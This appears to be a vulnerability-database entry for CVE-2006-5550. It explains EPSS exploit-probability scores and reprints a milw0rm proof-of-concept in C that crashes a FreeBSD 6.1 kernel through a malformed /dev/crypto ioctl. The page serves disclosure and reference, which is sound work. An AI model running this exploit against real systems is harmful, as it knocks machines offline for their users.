CVE-2006-5550 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// Evgeny Legerov (elegerov.blogspot.com) #include unistd.h #include sys/types.h #include stdio.h #include fcntl.h #include crypto/cryptodev.h int main() { int fd2, fd; struct crypt_kop kop; printf("FreeBSD 6.1 /dev/crypto local kernel DoS\n"); fd2 = open("/dev/crypto", O_RDWR, 0); if (fd2 == -1){ perror("open"); exit(-1); } if (ioctl(fd2, CRIOGET, &fd) == -1) { perror("ioctl"); exit(-1); } kop.crk_op = CRK_MOD_EXP; kop.crk_iparams = 3; kop.crk_oparams = 1; kop.crk_param[0].crp_nbits = 0x70000000; ioctl(fd, CIOCKEY, &kop); printf("exploit failed\n"); return 0; } // milw0rm.com [2006-10-24]